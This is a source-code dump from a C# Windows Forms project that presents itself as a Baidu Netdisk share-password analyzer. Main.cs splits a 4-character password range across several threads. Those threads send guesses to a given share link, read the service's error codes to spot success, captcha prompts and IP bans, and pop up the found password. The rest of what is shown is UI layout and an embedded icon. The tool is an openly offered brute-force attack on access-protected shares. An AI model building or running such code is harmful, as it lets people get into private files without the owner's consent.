this.btn_status.Font = new System.Drawing.Font("宋体", 14F, System.Drawing.FontStyle.Bold);
this.btn_status.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192)))));
this.btn_status.Location = new System.Drawing.Point(308, 114);
this.btn_status.Name = "btn_status";
this.btn_status.Size = new System.Drawing.Size(164, 44);
this.btn_status.TabIndex = 6;
this.btn_status.Text = "启动";
this.btn_status.UseVisualStyleBackColor = true;
this.btn_status.Click += new System.EventHandler(this.btn_status_Click);
//
// Main
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(484, 241);
this.Controls.Add(this.btn_status);
this.Controls.Add(this.txt_ts);
this.Controls.Add(this.gb_1);
this.Controls.Add(this.text_url);
this.Controls.Add(this.txt_url);
this.Controls.Add(this.btn_start);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MaximumSize = new System.Drawing.Size(500, 300);
this.MinimizeBox = false;
this.MinimumSize = new System.Drawing.Size(500, 280);
this.Name = "Main";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "百度网盘分享文件密码分析器";
this.gb_1.ResumeLayout(false);
this.gb_1.PerformLayout();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.Label txt_url;
private System.Windows.Forms.TextBox text_url;
private System.Windows.Forms.GroupBox gb_1;
private System.Windows.Forms.Label txt_ksd;
private System.Windows.Forms.Label txt_jsd;
private System.Windows.Forms.TextBox text_jsd;
private System.Windows.Forms.TextBox text_ksd;
private System.Windows.Forms.TextBox text_zxsd;
private System.Windows.Forms.TextBox text_xczs;
private System.Windows.Forms.Label txt_zxsd;
private System.Windows.Forms.Label txt_xczs;
private System.Windows.Forms.Label txt_ts;
private System.Windows.Forms.Button btn_start;
private System.Windows.Forms.FolderBrowserDialog fBD;
private System.Windows.Forms.Button btn_status;
}
}
================================================
FILE: TestPassword V1.8.0.4/TestPassword/Main.cs
================================================
using System;
using System.IO;
using System.Timers;
using System.Windows.Forms;
namespace zgcwkj
{
public partial class Main : Form
{
public Main()
{
InitializeComponent();
}
private void btn_Click(object sender, EventArgs e)//启动按钮
{
//if (text_url.Text == "") { MessageBox.Show("啥也没输入呢!"); return; }//防止空文本也执行
//int start = Hash.Str2Hash(text_ksd.Text);
//int end = Hash.Str2Hash(text_jsd.Text);
//int total = end - start + 1;//尝试的总数
//int section = total / Convert.ToInt32(text_xczs.Text);//线程的次数
////StaticClass.Folder = DateTime.Now.ToString("yyyyMMddHHmmss");//用时间达到随机名称功能
////if (!File.Exists(StaticClass.Folder + ".ini")) File.AppendAllText(StaticClass.Folder + ".ini", "时间:" + StaticClass.Folder + ",目标连接:" + text_url.Text + "\r\n");
//gb_1.Text = "一共要尝试" + total + "次密码";
//enabled(false);
//StaticClass.status = false;
//StaticClass.url = text_url.Text.Trim();
//for (int i = 1; i <= Convert.ToInt32(text_xczs.Text); i++)
//{
// new GoFind(this, start + section * (i - 1), start + section * i, Convert.ToInt32(text_zxsd.Text));
//}
//text_ksd.Text = text_jsd.Text;
}
///
/// 解决方案
///
private void btn_start_Click(object sender, EventArgs e)
{
if (fBD.ShowDialog() == DialogResult.OK)
{
//MessageBox.Show(fBD.SelectedPath);
#region 生成配置文件
StaticClass.file = fBD.SelectedPath;
string Configuration;
try
{
Configuration = File.ReadAllText(StaticClass.file + "/Configuration.ini");
string[] str = Configuration.Split('∆');
text_url.Text = str[0];
text_xczs.Text = str[1];
text_zxsd.Text = str[2];
}
catch
{
Configuration = text_url.Text + "∆" + text_xczs.Text + "∆" + text_zxsd.Text;
File.Delete(StaticClass.file + "/Configuration.ini");
File.AppendAllText(StaticClass.file + "/Configuration.ini", Configuration);
}
StaticClass.url = text_url.Text;
StaticClass.status = false;
#endregion
btn_status.Enabled = true;
}
}
///
/// 启动或停止
///
private void btn_status_Click(object sender, EventArgs e)
{
#region 防止空文本也执行
if (text_url.Text == "") { MessageBox.Show("连接呢?"); return; }
if (text_xczs.Text == "") { MessageBox.Show("线程总数错误"); return; }
if (text_zxsd.Text == "") { MessageBox.Show("线程执行速度错误"); return; }
if (text_ksd.Text.Length != 4) { MessageBox.Show("密码开始点错误"); return; }
if (text_jsd.Text.Length != 4) { MessageBox.Show("密码结束点错误"); return; }
#endregion
if (btn_status.Text == "停止")
{
btn_status.Text = "启动";
btn_status.Enabled = false;
StaticClass.status = true;
}
else
{
btn_status.Text = "停止";
#region 基本的线程
int xczs = Convert.ToInt32(text_xczs.Text);//线程总数
int zxsd = Convert.ToInt32(text_zxsd.Text);//线程速度
int start = Hash.StrTo4Hash(text_ksd.Text);//起始值
int end = Hash.StrTo4Hash(text_jsd.Text);//结束值
int total = end - start + 1;//尝试的总数
int section = total / xczs;//线程的次数
#endregion
#region 创建线程
for (int i = 1; i <= xczs; i++)
{
int _start = start + section * (i - 1);//一条线程的开始值
int _end = start + section * i;//一条线程的结束值
new HttpThread(this, i.ToString(), _start, _end, zxsd).Start();
}
#endregion
}
}
///
/// 链接跳转
///
private void txt_ts_Click(object sender, EventArgs e)
{
try { System.Diagnostics.Process.Start("https://github.com/zgcwkj/TestBaiduPassword"); } catch { }
try { System.Diagnostics.Process.Start("http://blog.zgcwkj.top"); } catch { }
}
#region 委托进行显示数据
delegate void Modifystr(string str1, string str2);
public void ModifyStr(string str1, string str2)
{
if (InvokeRequired)
{
Modifystr stcb = new Modifystr(ModifyStr);
Invoke(stcb, new object[] { str1, str2 });
}
else
{
txt_ts.Text = str1 + "》正在尝试:" + str2;//显示点啥
File.AppendAllText(StaticClass.file + "/logs.ini", txt_ts.Text + "\r\n");//输出日志
if (str1.Contains("\"errno\":0"))//密码正常
{
StaticClass.status = true;
MessageBox.Show("密码是:" + str2);
}
else if (str1.Contains("\"errno\":-9"))//密码错误
{
}
else if (str1.Contains("\"errno\":-62"))//要输入验证码
{
}
else if (str1.Contains("404"))//拒绝访问
{
StaticClass.status = true;
MessageBox.Show("你的IP被拒绝访问,请稍后重试");
}
else { }//未知错误
}
}
#endregion
///
/// 限制输入
///
private void _KeyPress(object sender, KeyPressEventArgs e)
{
if ((Keys)e.KeyChar >= Keys.D0 && (Keys)e.KeyChar <= Keys.D9 || (Keys)e.KeyChar == Keys.Back) { } else e.Handled = true;
}
}
}
================================================
FILE: TestPassword V1.8.0.4/TestPassword/Main.resx
================================================
text/microsoft-resx
2.0
System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
17, 17
33
AAABAAEAAAAAAAEAIADXfQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAAAlw
SFlzAAALEwAACxMBAJqcGAAAOe5pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp
bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1ldGEgeG1sbnM6eD0i
YWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTM4IDc5LjE1OTgyNCwg
MjAxNi8wOS8xNC0wMTowOTowMSAgICAgICAgIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8v
d3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlv
biByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hh
cC8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEu
MS8iCiAgICAgICAgICAgIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3No
b3AvMS4wLyIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEu
MC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv
c1R5cGUvUmVzb3VyY2VFdmVudCMiCiAgICAgICAgICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9i
ZS5jb20vdGlmZi8xLjAvIgogICAgICAgICAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29t
L2V4aWYvMS4wLyI+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+QWRvYmUgUGhvdG9zaG9wIENDIDIw
MTcgKFdpbmRvd3MpPC94bXA6Q3JlYXRvclRvb2w+CiAgICAgICAgIDx4bXA6Q3JlYXRlRGF0ZT4yMDE3
LTEyLTI4VDExOjE4OjI5KzA4OjAwPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlE
YXRlPjIwMTctMTItMjhUMTE6MjI6MTYrMDg6MDA8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1w
Ok1ldGFkYXRhRGF0ZT4yMDE3LTEyLTI4VDExOjIyOjE2KzA4OjAwPC94bXA6TWV0YWRhdGFEYXRlPgog
ICAgICAgICA8ZGM6Zm9ybWF0PmltYWdlL3BuZzwvZGM6Zm9ybWF0PgogICAgICAgICA8cGhvdG9zaG9w
OkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJ
RD54bXAuaWlkOjA5MjQ3MDk1LWVkMTItZjg0NS04OWU1LWQwYjg5YmFkNTMyMDwveG1wTU06SW5zdGFu
Y2VJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+YWRvYmU6ZG9jaWQ6cGhvdG9zaG9wOjQyYTRl
YzRkLWViN2UtMTFlNy04MjNjLWRkYjI5ZTNjOGY5YTwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAg
PHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD54bXAuZGlkOjY2MTA3MzA5LWJhZmYtMzE0ZC1iNTU3LWUw
MTVlMWQyYjYzMzwveG1wTU06T3JpZ2luYWxEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SGlzdG9y
eT4KICAgICAgICAgICAgPHJkZjpTZXE+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlw
ZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmNyZWF0ZWQ8L3N0RXZ0
OmFjdGlvbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0Omluc3RhbmNlSUQ+eG1wLmlpZDo2NjEwNzMw
OS1iYWZmLTMxNGQtYjU1Ny1lMDE1ZTFkMmI2MzM8L3N0RXZ0Omluc3RhbmNlSUQ+CiAgICAgICAgICAg
ICAgICAgIDxzdEV2dDp3aGVuPjIwMTctMTItMjhUMTE6MTg6MjkrMDg6MDA8L3N0RXZ0OndoZW4+CiAg
ICAgICAgICAgICAgICAgIDxzdEV2dDpzb2Z0d2FyZUFnZW50PkFkb2JlIFBob3Rvc2hvcCBDQyAyMDE3
IChXaW5kb3dzKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAg
ICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAg
ICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxz
dEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6MDkyNDcwOTUtZWQxMi1mODQ1LTg5ZTUtZDBiODliYWQ1MzIw
PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE3LTEyLTI4
VDExOjIyOjE2KzA4OjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdh
cmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdl
bnQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDpjaGFuZ2VkPi88L3N0RXZ0OmNoYW5nZWQ+CiAgICAg
ICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICA8L3JkZjpTZXE+CiAgICAgICAgIDwveG1wTU06
SGlzdG9yeT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAg
ICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzIwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgogICAg
ICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+CiAgICAg
ICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDxl
eGlmOkNvbG9yU3BhY2U+NjU1MzU8L2V4aWY6Q29sb3JTcGFjZT4KICAgICAgICAgPGV4aWY6UGl4ZWxY
RGltZW5zaW9uPjI1NjwvZXhpZjpQaXhlbFhEaW1lbnNpb24+CiAgICAgICAgIDxleGlmOlBpeGVsWURp
bWVuc2lvbj4yNTY8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4K
ICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg
